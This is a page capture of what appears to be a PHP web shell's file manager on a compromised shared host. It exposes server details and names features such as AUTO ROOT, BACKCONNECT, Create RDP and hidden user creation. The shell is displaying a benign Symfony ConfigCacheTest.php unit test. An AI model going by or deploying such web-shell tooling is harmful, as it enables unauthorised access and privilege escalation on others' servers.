Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
symfony /
config /
Tests /
[ HOME SHELL ]
Name
Size
Permission
Action
Definition
[ DIR ]
drwxr-xr-x
DependencyInjection
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Fixtures
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
Resource
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
ConfigCacheFactoryTest.php
761
B
-rw-r--r--
ConfigCacheTest.php
2.36
KB
-rw-r--r--
FileLocatorTest.php
3.96
KB
-rw-r--r--
ResourceCheckerConfigCacheTest...
4.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ConfigCacheTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Config\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Config\ConfigCache; use Symfony\Component\Config\Tests\Resource\ResourceStub; class ConfigCacheTest extends TestCase { private $cacheFile = null; protected function setUp() { $this->cacheFile = tempnam(sys_get_temp_dir(), 'config_'); } protected function tearDown() { $files = [$this->cacheFile, $this->cacheFile.'.meta']; foreach ($files as $file) { if (file_exists($file)) { @unlink($file); } } } /** * @dataProvider debugModes */ public function testCacheIsNotValidIfNothingHasBeenCached($debug) { unlink($this->cacheFile); // remove tempnam() side effect $cache = new ConfigCache($this->cacheFile, $debug); $this->assertFalse($cache->isFresh()); } public function testIsAlwaysFreshInProduction() { $staleResource = new ResourceStub(); $staleResource->setFresh(false); $cache = new ConfigCache($this->cacheFile, false); $cache->write('', [$staleResource]); $this->assertTrue($cache->isFresh()); } /** * @dataProvider debugModes */ public function testIsFreshWhenNoResourceProvided($debug) { $cache = new ConfigCache($this->cacheFile, $debug); $cache->write('', []); $this->assertTrue($cache->isFresh()); } public function testFreshResourceInDebug() { $freshResource = new ResourceStub(); $freshResource->setFresh(true); $cache = new ConfigCache($this->cacheFile, true); $cache->write('', [$freshResource]); $this->assertTrue($cache->isFresh()); } public function testStaleResourceInDebug() { $staleResource = new ResourceStub(); $staleResource->setFresh(false); $cache = new ConfigCache($this->cacheFile, true); $cache->write('', [$staleResource]); $this->assertFalse($cache->isFresh()); } public function debugModes() { return [ [true], [false], ]; } }
Close